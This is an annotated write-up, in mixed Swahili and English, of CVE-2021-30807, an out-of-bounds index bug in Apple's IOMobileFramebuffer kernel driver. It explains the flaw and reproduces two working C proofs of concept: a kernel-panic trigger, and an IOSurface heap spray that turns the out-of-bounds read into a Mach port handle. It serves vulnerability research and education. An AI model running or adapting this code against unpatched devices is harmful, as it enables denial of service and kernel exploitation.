CVE-2021-30807: IOMobileFrameBuffer OOB

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Hitilafu

Una maelezo mazuri ya udhaifu hapa, lakini kwa muhtasari:

• The vulnerable code path is external method #83 of the IOMobileFramebuffer / AppleCLCD user client: IOMobileFramebufferUserClient::s_displayed_fb_surface(...). Hii method inapata kigezo kinachodhibitiwa na mtumiaji ambacho hakikaguliwi kwa namna yoyote na kinapitia kwa function inayofuata kama scalar0.

• That method forwards into IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0), where scalar0 (thamani ya 32-bit inayodhibitiwa na mtumiaji) is used as an index into an internal array of pointers without any bounds check:

ptr = *(this + 0xA58 + scalar0 * 8); → passed to IOSurfaceRoot::copyPortNameForSurfaceInTask(...) as an IOSurface*.
Matokeo: OOB pointer read & type confusion on that array. If the pointer isn't valid, the kernel deref panics → DoS.

DoS PoC

The following is the initial DoS PoC from the ooriginal blog post with extra comments:

// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1.  (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807

void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;

// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;

// 1) Locate the IOMobileFramebuffer service in the IORegistry.
//    This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));

if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}

printf("service: 0x%x\n", service);

// 2) Open a connection (user client) to the service.
//    The user client is what exposes external methods to userland.
//    'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}

printf("client: 0x%x\n", shared_user_client_conn);

printf("call externalMethod\n");

// 3) Prepare input scalars for the external method call.
//    The vulnerable path uses a 32-bit scalar as an INDEX into an internal
//    array of pointers WITHOUT bounds checking (OOB read / type confusion).
//    We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup

// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;

printf("call s_default_fb_surface\n");

// 5) Invoke external method #83.
//    On vulnerable builds, this path ends up calling:
//      IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
//      → IOMobileFramebufferLegacy::get_displayed_surface(...)
//      which uses our index to read a pointer and then passes it as IOSurface*.
//    If the pointer is bogus, IOSurface code will dereference it and the kernel
//    will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83,                 // **Selector 83**: vulnerable external method
scalars, 1,         // input scalars (count = 1; the OOB index)
NULL, 0,            // no input struct
output_scalars, &output_scalars_size,  // optional outputs
NULL, NULL);        // no output struct

// 6) Check the call result. On many vulnerable targets, you'll see either
//    KERN_SUCCESS right before a panic (because the deref happens deeper),
//    or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}

printf("external method returned KERN_SUCCESS\n");

// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}

Arbitrary Read PoC Explained

1. Opening the right user client

• get_appleclcd_uc() hupata huduma ya AppleCLCD na inafungua user client type 2. AppleCLCD na IOMobileFramebuffer zinashiriki jedwali lile la external-methods; type 2 inaonyesha selector 83, njia yenye udhaifu. Hii ni njia yako ya kuingia kwa mdudu. E_POC/)

Kwa nini 83 ina umuhimu: njia iliyodecompiled ni:

• IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
  → IOMobileFramebufferUserClient::get_displayed_surface(...)
  → IOMobileFramebufferLegacy::get_displayed_surface(...)
  Ndani ya simu ya mwisho, code inatumia scalar yako ya 32-bit kama index ya array bila ukaguzi wa mipaka, inachukua pointer kutoka this + 0xA58 + index*8, na inaipitisha kama IOSurface* kwa IOSurfaceRoot::copyPortNameForSurfaceInTask(...). Hiyo ndiyo OOB + type confusion.

2. The heap spray (why IOSurface shows up here)

• do_spray() inatumia IOSurfaceRootUserClient ku unda IOSurfaces nyingi na kupuliza small values (s_set_value style). Hii inajaza heap ya kernel karibu na pointers kwenda kwa vitu halali vya IOSurface.

• Lengo: wakati selector 83 inasoma nje ya jedwali la halali, nafasi ya OOB ina uwezekano wa kuwa pointer kwenda kwa moja ya IOSurfaces zako (halali)---kwa hivyo dereference baadaye haitasababisha crash na itafanikiwa. IOSurface ni primitive ya classic ya kernel spray yenye nyaraka nyingi, na chapisho la Saar linaorodhesha wazi kabisa njia za create / set_value / lookup zilizotumika kwenye mtiririko huu wa exploit.

3. The "offset/8" trick (what that index really is)

• Katika trigger_oob(offset), unaweka scalars[0] = offset / 8.

• Kwa nini kugawanya kwa 8? Kernel inafanya base + index*8 kuhesabu ni nafasi gani ya ukubwa wa pointer kuisoma. Unachagua "slot number N", si byte offset. Nyaya ni eight bytes kwa slot kwenye 64-bit.

• Anwani iliyohesabiwa ni this + 0xA58 + index*8. PoC inatumia constant kubwa (0x1200000 + 0x1048) kwa lengo la kwenda mbali sana nje ya mipaka katika eneo ulilo jaribu kulijaza kwa msongamano na pointers za IOSurface. Ikiwa spray "inamshinda," slot unayokigonga itakuwa IOSurface* halali.

4. What selector 83 returns (this is the subtle part)

• The call is:

IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, output_scalars, &output_scalars_size, NULL, NULL);o

• Ndani, baada ya OOB pointer fetch, driver inaita
  IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*).

• Matokeo: output_scalars[0] ni Mach port name (u32 handle) katika task yako kwa chochote pointer ya object uliyoipa kupitia OOB. Si raw kernel address leak; ni userspace handle (send right). Tabia hii hasa (kunakili port name) inaonekana katika decompilation ya Saar.

Kwa nini hii ni muhimu: ukiwa na port name kwa (inavyodhaniwa) IOSurface, sasa unaweza kutumia IOSurfaceRoot methods kama:

• s_lookup_surface_from_port (method 34) → geuza port kuwa surface ID ambayo unaweza kufanya kazi nayo kupitia wito mwingine wa IOSurface, na

• s_create_port_from_surface (method 35) kama unahitaji kinzani.
  Saar anaongelea njia hizi hasa kama hatua inayofuata. PoC inaonyesha kuwa unaweza "kutengeneza" IOSurface handle halali kutoka kwenye slot ya OOB. Saaramar

This PoC was taken from here and added some comments to explain the steps:

#include "exploit.h"

// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds.  ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)

// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);

// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}

// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;

// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8;   // **index = byteOffset / sizeof(void*)**.  ⭐

// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;

io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}

// Call external method 83. Internally:
//   ptr = *(this + 0xA58 + index*8);         // OOB pointer fetch
//   IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);

if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n",  mach_error_string(ret));
return 0;
}

// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}

// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.

// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}

// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc.  ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc);       // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}

// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200,   // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}

int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}

printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");

// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}

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• Maandishi ya awali na Saar Amar
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